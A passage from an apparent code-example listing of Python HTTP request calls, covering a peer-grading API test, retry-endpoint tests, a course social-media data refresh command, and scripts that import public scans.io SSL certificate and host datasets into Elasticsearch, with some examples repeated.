            params={'student_id': student_id, 'problem_id': '5678'}
        )
        self._assert_response(response, {
            'version': 1, 'success': True,
            'submission_id': self.server.DUMMY_DATA['submission_id'],
            'submission_key': self.server.DUMMY_DATA['submission_key'],
            'student_response': self.server.DUMMY_DATA['student_response'],
            'prompt': self.server.DUMMY_DATA['prompt'],
            'rubric': self.server.DUMMY_DATA['rubric'],
            'max_score': self.server.DUMMY_DATA['max_score']
        })

        # Grade the calibration essay
        response = requests.post(
            self._peer_url('save_calibration_essay'),
            data={
                'student_id': student_id,
                'location': 'test location',
                'calibration_essay_id': 1,
                'score': 2,
                'submission_key': 'key',
                'feedback': 'Good job!'
            }
        )
        self._assert_response(response, {
            'version': 1, 'success': True,
            'message': self.server.DUMMY_DATA['message'],
            'actual_score': self.server.DUMMY_DATA['actual_score'],
            'actual_rubric': self.server.DUMMY_DATA['actual_rubric'],
            'actual_feedback': self.server.DUMMY_DATA['actual_feedback']
        })

        # Now the student should be calibrated
        response = requests.get(
            self._peer_url('is_student_calibrated'),
            params={'student_id': student_id, 'problem_id': '5678'}
        )
        self._assert_response(response, {
            'version': 1, 'success': True,
            'total_calibrated_on_so_far': 1,
            'calibrated': True
        })

        # But a student with a different ID should NOT be calibrated.
        response = requests.get(
            self._peer_url('is_student_calibrated'),
            params={'student_id': 'another', 'problem_id': '5678'}
        )
        self._assert_response(response, {
            'version': 1, 'success': True,
            'total_calibrated_on_so_far': 0,
            'calibrated': False
        })

Example 26

Project: hamms
Source File: test_endpoints.py
View license
def test_5512():
    url = 'http://127.0.0.1:{port}?tries=foo'.format(port=BASE_PORT+12)
    r = requests.get(url)
    assert_equal(r.status_code, 400)
    d = r.json()
    assert_true('integer' in d['error'])

    url = 'http://127.0.0.1:{port}?key=hamms-test'.format(port=BASE_PORT+12)
    r = requests.get(url)
    assert_equal(r.status_code, 500)
    d = r.json()
    assert_equal(d['tries_remaining'], 2)
    assert_equal(d['key'], 'hamms-test')

    r = requests.get(url)
    assert_equal(r.status_code, 500)
    d = r.json()
    assert_equal(d['tries_remaining'], 1)

    otherkey_url = 'http://127.0.0.1:{port}?key=other-key'.format(port=BASE_PORT+12)
    r = requests.get(otherkey_url)
    assert_equal(r.status_code, 500)
    d = r.json()
    assert_equal(d['tries_remaining'], 2)

    url = 'http://127.0.0.1:{port}?key=hamms-test'.format(port=BASE_PORT+12)
    r = requests.get(url)
    assert_equal(r.status_code, 200)
    d = r.json()
    assert_equal(d['tries_remaining'], 0)

    url = 'http://127.0.0.1:{port}/counters?key=hamms-test&tries=7'.format(port=BASE_PORT+12)
    r = requests.post(url)
    assert_equal(r.status_code, 200)
    d = r.json()
    assert_equal(d['key'], 'hamms-test')
    assert_equal(d['tries_remaining'], 7)

    url = 'http://127.0.0.1:{port}/counters'.format(port=BASE_PORT+12)
    r = requests.post(url, data={'key': 'hamms-test', 'tries': 7})
    assert_equal(r.status_code, 200)
    d = r.json()
    assert_equal(d['key'], 'hamms-test')
    assert_equal(d['tries_remaining'], 7)

    url = 'http://127.0.0.1:{port}?key=hamms-test'.format(port=BASE_PORT+12)
    r = requests.get(url)
    assert_equal(r.status_code, 500)
    d = r.json()
    assert_equal(d['tries_remaining'], 6)

    url = 'http://127.0.0.1:{port}'.format(port=BASE_PORT+12)
    r = requests.get(url)
    assert_equal(r.status_code, 500)
    d = r.json()
    assert_equal(d['key'], 'default')

    url = 'http://127.0.0.1:{port}?key=foo&tries=1'.format(port=BASE_PORT+12)
    r = requests.get(url)
    assert_equal(r.status_code, 200)
    d = r.json()
    assert_equal(d['key'], 'foo')

Example 27

Project: CLAtoolkit
Source File: update_data.py
View license
    def handle(self, *args, **kwargs):

        if kwargs['all']:
            try:
                courses = UnitOffering.objects.all()
            except UnitOffering.DoesNotExist:
                raise CommandError('Unit Error.... does not exist.')

            for course in courses:
                COURSE_SETTINGS = get_new_course_settings()
                course_code = course.code
                #Check unitoffering for attached SM
                if len(course.twitter_hashtags_as_list()) > 0:
                    #TODO: Fix Twitter AuthFlow?
                    COURSE_SETTINGS['twitter'] = True
                if len(course.google_groups) > 0:
                    COURSE_SETTINGS['google'] = True
                if len(course.facebook_groups_as_list()) > 0:
                    COURSE_SETTINGS['facebook'] = True
                if len(course.forum_urls_as_list()) > 0:
                    COURSE_SETTINGS['forum'] = True
                if len(course.youtube_channelIds_as_list()) > 0:
                    #TODO: Test Youtube Flow works as intended
                    COURSE_SETTINGS['youtube'] = False
                if len(course.diigo_tags_as_list()) > 0:
                    COURSE_SETTINGS['diigo'] = True
                if len(course.blogmember_urls_as_list()) > 0:
                    COURSE_SETTINGS['blog'] = True
                if len(course.trello_boards_as_list()) > 0:
                    COURSE_SETTINGS['trello'] = True
                if course.enable_coi_classifier is True:
                    COURSE_SETTINGS['coi'] = True

                    #TODO: Update to retreive platforms from course.coi_platforms once new roll-out is on production
                    COURSE_SETTINGS['coi_platforms'].append('Blog')


                #Refresh data for SM used in Unit
                if COURSE_SETTINGS['twitter']:
                    hashtag_list = ",".join(course.twitter_hashtags_as_list())
                    url_str = base_URI()+'refreshtwitter/?course_code='+course_code+'&hashtags='+hashtag_list
                    r = requests.get(url_str)
                    if r.status_code is not 200:
                        raise CommandError('Error encountered during twitter update. HTTP Status Code: %s' % r.status_code)

		            post_smimport(course_code, 'twitter')
		            #post sm import may fail - naming conventions..

                if COURSE_SETTINGS['google']:
                    pass

                if COURSE_SETTINGS['facebook']:
                    context = '{ "platform" : "facebook", "course_code" : "'+course_code+'", "group" : "'+course.facebook_groups_as_list()[0]+'" }'
                    url_str = base_URI()+'dipluginauthomaticlogin/?context='+context
                    r = requests.get(url_str)
                    if r.status_code is not 200:
                        raise CommandError('Error encountered during facebook update. HTTP Status Code: %s' % r.status_code)

                    post_smimport(course_code, 'facebook')

                if COURSE_SETTINGS['diigo']:
		            pass

                if COURSE_SETTINGS['youtube']:
		            pass

                if COURSE_SETTINGS['forum']:
		            pass

                if COURSE_SETTINGS['blog']:
                    #TODO: Modularize urls
                    url_str = base_URI()+'refreshblog/?course_code='+course_code+'&urls=http://2016.informationprograms.info/student-blogs/'
                    r = requests.get(url_str)
                    if r.status_code is not 200:
                        raise CommandError('Error encountered during blog update. HTTP Status Code: %s' % r.status_code)
                    post_smimport(course_code, 'blog')


                if COURSE_SETTINGS['trello']:
                    url_str = base_URI()+'refreshtrello/?course_code='+course_code+'&boards='+course.trello_boards_as_list()
                    r = requests.get(url_str)
                    if r.status_code is not 200:
                        raise CommandError('Error encountered during blog update. HTTP Status: %s' % r.status_code)

                if COURSE_SETTINGS['coi']:
                    for platform in COURSE_SETTINGS['coi_platforms']:
                        classify(course_code, platform)

Example 28

Project: CLAtoolkit
Source File: update_data.py
View license
    def handle(self, *args, **kwargs):

        if kwargs['all']:
            try:
                courses = UnitOffering.objects.all()
            except UnitOffering.DoesNotExist:
                raise CommandError('Unit Error.... does not exist.')

            for course in courses:
                COURSE_SETTINGS = get_new_course_settings()
                course_code = course.code
                #Check unitoffering for attached SM
                if len(course.twitter_hashtags_as_list()) > 0:
                    #TODO: Fix Twitter AuthFlow?
                    COURSE_SETTINGS['twitter'] = True
                if len(course.google_groups) > 0:
                    COURSE_SETTINGS['google'] = True
                if len(course.facebook_groups_as_list()) > 0:
                    COURSE_SETTINGS['facebook'] = True
                if len(course.forum_urls_as_list()) > 0:
                    COURSE_SETTINGS['forum'] = True
                if len(course.youtube_channelIds_as_list()) > 0:
                    #TODO: Test Youtube Flow works as intended
                    COURSE_SETTINGS['youtube'] = False
                if len(course.diigo_tags_as_list()) > 0:
                    COURSE_SETTINGS['diigo'] = True
                if len(course.blogmember_urls_as_list()) > 0:
                    COURSE_SETTINGS['blog'] = True
                if len(course.trello_boards_as_list()) > 0:
                    COURSE_SETTINGS['trello'] = True
                if course.enable_coi_classifier is True:
                    COURSE_SETTINGS['coi'] = True

                    #TODO: Update to retreive platforms from course.coi_platforms once new roll-out is on production
                    COURSE_SETTINGS['coi_platforms'].append('Blog')


                #Refresh data for SM used in Unit
                if COURSE_SETTINGS['twitter']:
                    hashtag_list = ",".join(course.twitter_hashtags_as_list())
                    url_str = base_URI()+'refreshtwitter/?course_code='+course_code+'&hashtags='+hashtag_list
                    r = requests.get(url_str)
                    if r.status_code is not 200:
                        raise CommandError('Error encountered during twitter update. HTTP Status Code: %s' % r.status_code)

		            post_smimport(course_code, 'twitter')
		            #post sm import may fail - naming conventions..

                if COURSE_SETTINGS['google']:
                    pass

                if COURSE_SETTINGS['facebook']:
                    context = '{ "platform" : "facebook", "course_code" : "'+course_code+'", "group" : "'+course.facebook_groups_as_list()[0]+'" }'
                    url_str = base_URI()+'dipluginauthomaticlogin/?context='+context
                    r = requests.get(url_str)
                    if r.status_code is not 200:
                        raise CommandError('Error encountered during facebook update. HTTP Status Code: %s' % r.status_code)

                    post_smimport(course_code, 'facebook')

                if COURSE_SETTINGS['diigo']:
		            pass

                if COURSE_SETTINGS['youtube']:
		            pass

                if COURSE_SETTINGS['forum']:
		            pass

                if COURSE_SETTINGS['blog']:
                    #TODO: Modularize urls
                    url_str = base_URI()+'refreshblog/?course_code='+course_code+'&urls=http://2016.informationprograms.info/student-blogs/'
                    r = requests.get(url_str)
                    if r.status_code is not 200:
                        raise CommandError('Error encountered during blog update. HTTP Status Code: %s' % r.status_code)
                    post_smimport(course_code, 'blog')


                if COURSE_SETTINGS['trello']:
                    url_str = base_URI()+'refreshtrello/?course_code='+course_code+'&boards='+course.trello_boards_as_list()
                    r = requests.get(url_str)
                    if r.status_code is not 200:
                        raise CommandError('Error encountered during blog update. HTTP Status: %s' % r.status_code)

                if COURSE_SETTINGS['coi']:
                    for platform in COURSE_SETTINGS['coi_platforms']:
                        classify(course_code, platform)

Example 29

Project: scansio-sonar-es
Source File: sonar_non443.py
View license
def main(argv):
    parser = argparse.ArgumentParser()
    parser.add_argument('--server', default=DEFAULT_SERVER,
                        help=u'Elasticsearch hostname or IP (default {0})'.format(DEFAULT_SERVER))
    parser.add_argument('--port', default=DEFAULT_PORT,
                        help=u'Elasticsearch port (default {0})'.format(DEFAULT_PORT))
    args = parser.parse_args(argv[1:])

    workers = cpu_count()
    process_hosts_queue = Queue(maxsize=20000)
    process_certs_queue = Queue(maxsize=20000)
    update_hosts_queue = Queue(maxsize=20000)

    es = Elasticsearch([{u'host': args.server, u'port': args.port}], timeout=60)

    imported_sonar = es.search(index='scansio-sonar-ssl-non443-imported', body={"size": 3000, "query": {"match_all": {}}
                                                                                })
    imported_files = []
    for f in imported_sonar['hits']['hits']:
        imported_files.append(f['_id'])

    scansio_feed = requests.get('https://scans.io/json')
    if scansio_feed.status_code == 200:
        feed = scansio_feed.json()
        if 'studies' in feed:
            for result in feed['studies']:
                if result['name'] == "More SSL Certificates (non-443)":
                    for res in result['files']:
                        scans_file = res['name']
                        if scans_file.endswith('certs.gz'):
                            if 'smtp_25' in scans_file:
                                certfile = scans_file[52:86]
                                port = 25
                            if 'smtp_465' in scans_file:
                                certfile = scans_file[52:82]
                                port = 465
                            if 'imap_993' in scans_file:
                                certfile = scans_file[52:82]
                                port = 993
                            if 'imap_143' in scans_file:
                                certfile = scans_file[52:87]
                                port = 143
                            if 'pop3_995' in scans_file:
                                certfile = scans_file[52:82]
                                port = 995
                            if certfile not in imported_files:
                                logger.warning("We don't have {file} imported lets download it".format(file=certfile))
                                phys_file = requests.get(scans_file, stream=True)
                                with open('{f}'.format(f=certfile), 'wb') as newcerts:
                                    for chunk in phys_file.iter_content(chunk_size=1024):
                                        if chunk:
                                            newcerts.write(chunk)
                                with open('{f}'.format(f=certfile), 'rb') as fh:
                                    h = hashlib.sha1()
                                    while True:
                                        data = fh.read(8192)
                                        if not data:
                                            break
                                        h.update(data)
                                sha1 = h.hexdigest()
                                if sha1 == res['fingerprint']:
                                    for w in xrange(workers):
                                        queue_es = Elasticsearch([{u'host': args.server, u'port': args.port}],
                                                                 timeout=60)
                                        p = Process(target=process_scan_certs, args=(process_certs_queue, queue_es,
                                                                                     port))
                                        p.daemon = True
                                        p.start()
                                    logger.warning("Importing {f} at {d}".format(f=certfile, d=datetime.now()))
                                    parse_certs_file(certfile, process_certs_queue)
                                    for w in xrange(workers):
                                        process_certs_queue.put("DONE")
                                    logger.warning("Importing finished of {f} at {d}".format(f=certfile,
                                                                                             d=datetime.now()))
                                    es.index(index='scansio-sonar-ssl-non443-imported', doc_type='imported-file',
                                             id=certfile, body={'file': certfile, 'imported_date': datetime.now(),
                                                                'sha1': sha1})
                                else:
                                    logger.error("SHA1 did not match for {f} it was not imported".format(f=certfile))
                                os.remove(certfile)
                        if scans_file.endswith('endpoints.gz'):
                            if 'smtp_25' in scans_file:
                                hostsfile = scans_file[52:90]
                                port = 25
                            if 'smtp_465' in scans_file:
                                hostsfile = scans_file[52:86]
                                port = 465
                            if 'imap_993' in scans_file:
                                hostsfile = scans_file[52:86]
                                port = 993
                            if 'imap_143' in scans_file:
                                hostsfile = scans_file[52:91]
                                port = 143
                            if 'pop3_995' in scans_file:
                                hostsfile = scans_file[52:86]
                                port = 995
                            if hostsfile not in imported_files:
                                logger.warning("We don't have {file} imported lets download it".format(file=hostsfile))
                                phys_host_file = requests.get(scans_file)
                                with open('{f}'.format(f=hostsfile), 'wb') as hf:
                                    for chunk in phys_host_file.iter_content(chunk_size=1024):
                                        if chunk:
                                            hf.write(chunk)
                                with open('{f}'.format(f=hostsfile), 'rb') as fh:
                                    h = hashlib.sha1()
                                    while True:
                                        data = fh.read(8192)
                                        if not data:
                                            break
                                        h.update(data)
                                sha1 = h.hexdigest()
                                if sha1 == res['fingerprint']:
                                    for w in xrange(workers):
                                        queue_es = Elasticsearch([{u'host': args.server, u'port': args.port}],
                                                                 timeout=60)
                                        p = Process(target=process_hosts, args=(process_hosts_queue, queue_es))
                                        p.daemon = True
                                        p.start()
                                    logger.warning("Importing {f} at {d}".format(f=hostsfile, d=datetime.now()))
                                    parse_hosts_file(hostsfile, process_hosts_queue)
                                    logger.warning("Hosts updated for {f} now going back and updating first_seen"
                                                   .format(f=hostsfile))
                                    update_es = Elasticsearch([{u'host': args.server, u'port': args.port}], timeout=60)
                                    # construct an elasticsearch query where the filter is looking for any entry
                                    # that is missing the field first_seen
                                    # adding a queue processing system here this should hopefully speed things up.
                                    for work in xrange(workers):
                                        p = Process(target=update_hosts, args=(update_hosts_queue, update_es))
                                        p.daemon = True
                                        p.start()
                                    q = {'size': 500, "query": {"match_all": {}},
                                         "filter": {"missing": {"field": "first_seen"}}}
                                    new_updates = update_es.search(index='passive-ssl-non443-hosts-sonar', body=q)
                                    logger.warning("Numer of hosts to update is {count}"
                                                   .format(count=new_updates['hits']['total']))
                                    # Scan across all the documents missing the first_seen field and bulk update them
                                    missing_first_seen = scan(update_es, query=q, scroll='30m',
                                                              index='passive-ssl-non443-hosts-sonar')
                                    for miss in missing_first_seen:
                                        update_hosts_queue.put(miss)

                                    # for some stupid reason I keep missing some at the end of the scan/scroll
                                    # so going to do them manually
                                    new_updates = update_es.search(index='passive-ssl-non443-hosts-sonar', body=q)
                                    logger.warning("Numer of hosts to update is {count}"
                                                   .format(count=new_updates['hits']['total']))
                                    missing_first_seen_again = scan(update_es, query=q, scroll='30m',
                                                                    index='passive-ssl-non443-hosts-sonar')
                                    bulk_update_missed = []
                                    for m in missing_first_seen_again:
                                        last_seen = m['_source']['last_seen']
                                        first_seen = last_seen
                                        action = {"_op_type": "update", "_index": "passive-ssl-non443-hosts-sonar",
                                                  "_type": "host", "_id": m['_id'], "doc": {'first_seen': first_seen}}
                                        bulk_update_missed.append(action)
                                        if len(bulk_update_missed) == 500:
                                            bulk(update_es, bulk_update_missed)
                                            bulk_update_missed = []
                                    bulk(update_es, bulk_update_missed)
                                    for w in xrange(workers):
                                        update_hosts_queue.put("DONE")
                                    logger.warning("Finished updating hosts at {d}".format(d=datetime.now()))

                                    #  Get the remaining ones that are less than 500 and the loop has ended
                                    logger.warning("Importing finished of {f} at {d}".format(f=hostsfile,
                                                   d=datetime.now()))
                                    es.index(index='scansio-sonar-ssl-non443-imported', doc_type='imported-file',
                                             id=hostsfile, body={'file': hostsfile, 'imported_date': datetime.now(),
                                                                 'sha1': sha1})
                                    os.remove(hostsfile)
        else:
            logger.error("The scans.io/json must have changed or is having issues. I didn't see any studies. Exiting")
            sys.exit()
    else:
        logger.error("There was an error connecting to https://scans.io. I did not get a 200 status code. Exiting")
        sys.exit()

Example 30

Project: scansio-sonar-es
Source File: sonar_non443.py
View license
def main(argv):
    parser = argparse.ArgumentParser()
    parser.add_argument('--server', default=DEFAULT_SERVER,
                        help=u'Elasticsearch hostname or IP (default {0})'.format(DEFAULT_SERVER))
    parser.add_argument('--port', default=DEFAULT_PORT,
                        help=u'Elasticsearch port (default {0})'.format(DEFAULT_PORT))
    args = parser.parse_args(argv[1:])

    workers = cpu_count()
    process_hosts_queue = Queue(maxsize=20000)
    process_certs_queue = Queue(maxsize=20000)
    update_hosts_queue = Queue(maxsize=20000)

    es = Elasticsearch([{u'host': args.server, u'port': args.port}], timeout=60)

    imported_sonar = es.search(index='scansio-sonar-ssl-non443-imported', body={"size": 3000, "query": {"match_all": {}}
                                                                                })
    imported_files = []
    for f in imported_sonar['hits']['hits']:
        imported_files.append(f['_id'])

    scansio_feed = requests.get('https://scans.io/json')
    if scansio_feed.status_code == 200:
        feed = scansio_feed.json()
        if 'studies' in feed:
            for result in feed['studies']:
                if result['name'] == "More SSL Certificates (non-443)":
                    for res in result['files']:
                        scans_file = res['name']
                        if scans_file.endswith('certs.gz'):
                            if 'smtp_25' in scans_file:
                                certfile = scans_file[52:86]
                                port = 25
                            if 'smtp_465' in scans_file:
                                certfile = scans_file[52:82]
                                port = 465
                            if 'imap_993' in scans_file:
                                certfile = scans_file[52:82]
                                port = 993
                            if 'imap_143' in scans_file:
                                certfile = scans_file[52:87]
                                port = 143
                            if 'pop3_995' in scans_file:
                                certfile = scans_file[52:82]
                                port = 995
                            if certfile not in imported_files:
                                logger.warning("We don't have {file} imported lets download it".format(file=certfile))
                                phys_file = requests.get(scans_file, stream=True)
                                with open('{f}'.format(f=certfile), 'wb') as newcerts:
                                    for chunk in phys_file.iter_content(chunk_size=1024):
                                        if chunk:
                                            newcerts.write(chunk)
                                with open('{f}'.format(f=certfile), 'rb') as fh:
                                    h = hashlib.sha1()
                                    while True:
                                        data = fh.read(8192)
                                        if not data:
                                            break
                                        h.update(data)
                                sha1 = h.hexdigest()
                                if sha1 == res['fingerprint']:
                                    for w in xrange(workers):
                                        queue_es = Elasticsearch([{u'host': args.server, u'port': args.port}],
                                                                 timeout=60)
                                        p = Process(target=process_scan_certs, args=(process_certs_queue, queue_es,
                                                                                     port))
                                        p.daemon = True
                                        p.start()
                                    logger.warning("Importing {f} at {d}".format(f=certfile, d=datetime.now()))
                                    parse_certs_file(certfile, process_certs_queue)
                                    for w in xrange(workers):
                                        process_certs_queue.put("DONE")
                                    logger.warning("Importing finished of {f} at {d}".format(f=certfile,
                                                                                             d=datetime.now()))
                                    es.index(index='scansio-sonar-ssl-non443-imported', doc_type='imported-file',
                                             id=certfile, body={'file': certfile, 'imported_date': datetime.now(),
                                                                'sha1': sha1})
                                else:
                                    logger.error("SHA1 did not match for {f} it was not imported".format(f=certfile))
                                os.remove(certfile)
                        if scans_file.endswith('endpoints.gz'):
                            if 'smtp_25' in scans_file:
                                hostsfile = scans_file[52:90]
                                port = 25
                            if 'smtp_465' in scans_file:
                                hostsfile = scans_file[52:86]
                                port = 465
                            if 'imap_993' in scans_file:
                                hostsfile = scans_file[52:86]
                                port = 993
                            if 'imap_143' in scans_file:
                                hostsfile = scans_file[52:91]
                                port = 143
                            if 'pop3_995' in scans_file:
                                hostsfile = scans_file[52:86]
                                port = 995
                            if hostsfile not in imported_files:
                                logger.warning("We don't have {file} imported lets download it".format(file=hostsfile))
                                phys_host_file = requests.get(scans_file)
                                with open('{f}'.format(f=hostsfile), 'wb') as hf:
                                    for chunk in phys_host_file.iter_content(chunk_size=1024):
                                        if chunk:
                                            hf.write(chunk)
                                with open('{f}'.format(f=hostsfile), 'rb') as fh:
                                    h = hashlib.sha1()
                                    while True:
                                        data = fh.read(8192)
                                        if not data:
                                            break
                                        h.update(data)
                                sha1 = h.hexdigest()
                                if sha1 == res['fingerprint']:
                                    for w in xrange(workers):
                                        queue_es = Elasticsearch([{u'host': args.server, u'port': args.port}],
                                                                 timeout=60)
                                        p = Process(target=process_hosts, args=(process_hosts_queue, queue_es))
                                        p.daemon = True
                                        p.start()
                                    logger.warning("Importing {f} at {d}".format(f=hostsfile, d=datetime.now()))
                                    parse_hosts_file(hostsfile, process_hosts_queue)
                                    logger.warning("Hosts updated for {f} now going back and updating first_seen"
                                                   .format(f=hostsfile))
                                    update_es = Elasticsearch([{u'host': args.server, u'port': args.port}], timeout=60)
                                    # construct an elasticsearch query where the filter is looking for any entry
                                    # that is missing the field first_seen
                                    # adding a queue processing system here this should hopefully speed things up.
                                    for work in xrange(workers):
                                        p = Process(target=update_hosts, args=(update_hosts_queue, update_es))
                                        p.daemon = True
                                        p.start()
                                    q = {'size': 500, "query": {"match_all": {}},
                                         "filter": {"missing": {"field": "first_seen"}}}
                                    new_updates = update_es.search(index='passive-ssl-non443-hosts-sonar', body=q)
                                    logger.warning("Numer of hosts to update is {count}"
                                                   .format(count=new_updates['hits']['total']))
                                    # Scan across all the documents missing the first_seen field and bulk update them
                                    missing_first_seen = scan(update_es, query=q, scroll='30m',
                                                              index='passive-ssl-non443-hosts-sonar')
                                    for miss in missing_first_seen:
                                        update_hosts_queue.put(miss)

                                    # for some stupid reason I keep missing some at the end of the scan/scroll
                                    # so going to do them manually
                                    new_updates = update_es.search(index='passive-ssl-non443-hosts-sonar', body=q)
                                    logger.warning("Numer of hosts to update is {count}"
                                                   .format(count=new_updates['hits']['total']))
                                    missing_first_seen_again = scan(update_es, query=q, scroll='30m',
                                                                    index='passive-ssl-non443-hosts-sonar')
                                    bulk_update_missed = []
                                    for m in missing_first_seen_again:
                                        last_seen = m['_source']['last_seen']
                                        first_seen = last_seen
                                        action = {"_op_type": "update", "_index": "passive-ssl-non443-hosts-sonar",
                                                  "_type": "host", "_id": m['_id'], "doc": {'first_seen': first_seen}}
                                        bulk_update_missed.append(action)
                                        if len(bulk_update_missed) == 500:
                                            bulk(update_es, bulk_update_missed)
                                            bulk_update_missed = []
                                    bulk(update_es, bulk_update_missed)
                                    for w in xrange(workers):
                                        update_hosts_queue.put("DONE")
                                    logger.warning("Finished updating hosts at {d}".format(d=datetime.now()))

                                    #  Get the remaining ones that are less than 500 and the loop has ended
                                    logger.warning("Importing finished of {f} at {d}".format(f=hostsfile,
                                                   d=datetime.now()))
                                    es.index(index='scansio-sonar-ssl-non443-imported', doc_type='imported-file',
                                             id=hostsfile, body={'file': hostsfile, 'imported_date': datetime.now(),
                                                                 'sha1': sha1})
                                    os.remove(hostsfile)
        else:
            logger.error("The scans.io/json must have changed or is having issues. I didn't see any studies. Exiting")
            sys.exit()
    else:
        logger.error("There was an error connecting to https://scans.io. I did not get a 200 status code. Exiting")
        sys.exit()

Example 31

Project: scansio-sonar-es
Source File: sonar_ssl.py
View license
def main(argv):
    parser = argparse.ArgumentParser()
    parser.add_argument('--server', default=DEFAULT_SERVER,
                        help=u'Elasticsearch hostname or IP (default {0})'.format(DEFAULT_SERVER))
    parser.add_argument('--port', default=DEFAULT_PORT,
                        help=u'Elasticsearch port (default {0})'.format(DEFAULT_PORT))
    args = parser.parse_args(argv[1:])

    workers = cpu_count()
    process_hosts_queue = Queue(maxsize=20000)
    process_certs_queue = Queue(maxsize=20000)
    update_hosts_queue = Queue(maxsize=20000)

    es = Elasticsearch([{u'host': args.server, u'port': args.port}], timeout=60)

    imported_sonar = es.search(index='scansio-sonar-ssl-imported', body={"size": 3000, "query": {"match_all": {}}})
    imported_files = []

    for f in imported_sonar['hits']['hits']:
        imported_files.append(f['_id'])

    scansio_feed = requests.get('https://scans.io/json')
    if scansio_feed.status_code == 200:
        feed = scansio_feed.json()
        if 'studies' in feed:
            for result in feed['studies']:
                if result['name'] == 'SSL Certificates':
                    for res in result['files']:
                        scans_file = res['name']
                        if scans_file.endswith('certs.gz'):
                            if scans_file.endswith('20131030-20150518_certs.gz'):
                                certfile = '20131030-20150518_certs.gz'
                            else:
                                certfile = scans_file[48:65]
                            if certfile not in imported_files:
                                logger.warning("We don't have {file} imported lets download it".format(file=certfile))
                                phys_file = requests.get(scans_file, stream=True)
                                # Need to do this cause some of the files are rather large
                                with open('{f}'.format(f=certfile), 'wb') as newcerts:
                                    for chunk in phys_file.iter_content(chunk_size=1024):
                                        if chunk:
                                            newcerts.write(chunk)
                                with open('{f}'.format(f=certfile), 'rb') as fh:
                                    h = hashlib.sha1()
                                    while True:
                                        data = fh.read(8192)
                                        if not data:
                                            break
                                        h.update(data)
                                sha1 = h.hexdigest()
                                if sha1 == res['fingerprint']:
                                    for w in xrange(workers):
                                        queue_es = Elasticsearch([{u'host': args.server, u'port': args.port}],
                                                                 timeout=60)
                                        p = Process(target=process_scan_certs, args=(process_certs_queue, queue_es))
                                        p.daemon = True
                                        p.start()
                                    logger.warning("Importing {f} at {d}".format(f=certfile, d=datetime.now()))
                                    parse_certs_file(certfile, process_certs_queue)
                                    for w in xrange(workers):
                                        process_certs_queue.put("DONE")
                                    logger.warning("Importing finished of {f} at {d}".format(f=certfile,
                                                                                             d=datetime.now()))
                                    es.index(index='scansio-sonar-ssl-imported', doc_type='imported-file', id=certfile,
                                             body={'file': certfile, 'imported_date': datetime.now(), 'sha1': sha1})
                                else:
                                    logger.error("SHA1 did not match for {f} it was not imported".format(f=certfile))
                                os.remove(certfile)
                                # Now we should optimize each index to max num segments of 1 to help with
                                # searching/sizing and just over all es happiness
                                refresh_es = Elasticsearch([{u'host': args.server, u'port': args.port}], timeout=60)
                                logger.warning("Optimizing index: {index} at {date}".
                                               format(index='passive-ssl-certs-sonar', date=datetime.now()))
                                refresh_es.indices.optimize(index='passive-ssl-certs-umich',
                                                            max_num_segments=1, request_timeout=7500)
                        if scans_file.endswith('hosts.gz'):
                            hostsfile = scans_file[48:65]
                            if hostsfile not in imported_files:
                                logger.warning("We don't have {file} imported lets download it".format(file=hostsfile))
                                phys_host_file = requests.get(scans_file)
                                with open('{f}'.format(f=hostsfile), 'wb') as hf:
                                    for chunk in phys_host_file.iter_content(chunk_size=1024):
                                        if chunk:
                                            hf.write(chunk)
                                with open('{f}'.format(f=hostsfile), 'rb') as fh:
                                    h = hashlib.sha1()
                                    while True:
                                        data = fh.read(8192)
                                        if not data:
                                            break
                                        h.update(data)
                                sha1 = h.hexdigest()
                                if sha1 == res['fingerprint']:
                                    for w in xrange(workers):
                                        queue_es = Elasticsearch([{u'host': args.server, u'port': args.port}],
                                                                 timeout=60)
                                        p = Process(target=process_hosts, args=(process_hosts_queue, queue_es))
                                        p.daemon = True
                                        p.start()
                                    logger.warning("Importing {f} at {d}".format(f=hostsfile, d=datetime.now()))
                                    parse_hosts_file(hostsfile, process_hosts_queue)
                                    logger.warning("Hosts updated for {f} now going back and updating first_seen"
                                                   .format(f=hostsfile))
                                    #  this is kinda dirty but without looking up everything at insert time (slow)
                                    #  I don't know of a better way to do
                                    #  this based on the number of documents we will have
                                    update_es = Elasticsearch([{u'host': args.server, u'port': args.port}], timeout=60)
                                    # construct an elasticsearch query where the filter is looking for any entry
                                    # that is missing the field first_seen
                                    # adding a queue processing system here this should hopefully speed things up.
                                    for work in xrange(workers):
                                        p = Process(target=update_hosts, args=(update_hosts_queue, update_es))
                                        p.daemon = True
                                        p.start()

                                    q = {'size': 500, "query": {"match_all": {}},
                                         "filter": {"missing": {"field": "first_seen"}}}
                                    new_updates = update_es.search(index='passive-ssl-hosts-sonar', body=q)
                                    logger.warning("Numer of hosts to update is {count}"
                                                   .format(count=new_updates['hits']['total']))
                                    # Scan across all the documents missing the first_seen field and bulk update them
                                    missing_first_seen = scan(update_es, query=q, scroll='30m',
                                                              index='passive-ssl-hosts-sonar')
                                    for miss in missing_first_seen:
                                        update_hosts_queue.put(miss)
                                    # for some stupid reason I keep missing some at the end of the scan/scroll
                                    # so going to do them manually
                                    new_updates = update_es.search(index='passive-ssl-hosts-sonar', body=q)
                                    logger.warning("Numer of hosts to update is {count}"
                                                   .format(count=new_updates['hits']['total']))
                                    missing_first_seen_again = scan(update_es, query=q, scroll='30m',
                                                                    index='passive-ssl-hosts-sonar')
                                    bulk_update_missed = []
                                    for m in missing_first_seen_again:
                                        last_seen = m['_source']['last_seen']
                                        first_seen = last_seen
                                        action = {"_op_type": "update", "_index": "passive-ssl-hosts-sonar",
                                                  "_type": "host", "_id": m['_id'], "doc": {'first_seen': first_seen}}
                                        bulk_update_missed.append(action)
                                        if len(bulk_update_missed) == 500:
                                            bulk(update_es, bulk_update_missed)
                                            bulk_update_missed = []
                                    bulk(update_es, bulk_update_missed)
                                    logger.warning("Finished updating hosts at {d}".format(d=datetime.now()))
                                    for w in xrange(workers):
                                        update_hosts_queue.put("DONE")
                                    #  Get the remaining ones that are less than 500 and the loop has ended
                                    logger.warning("Importing finished of {f} at {d}".format(f=hostsfile,
                                                   d=datetime.now()))
                                    es.index(index='scansio-sonar-ssl-imported', doc_type='imported-file', id=hostsfile,
                                             body={'file': hostsfile, 'imported_date': datetime.now(), 'sha1': sha1})
                                    os.remove(hostsfile)
                                    refresh_es = Elasticsearch([{u'host': args.server, u'port': args.port}], timeout=60)
                                    # Now we should optimize each index to max num segments of 1 to help with
                                    # searching/sizing and just over all es happiness
                                    logger.warning("Optimizing index: {index} at {date}".
                                                   format(index='passive-ssl-hosts-sonar', date=datetime.now()))
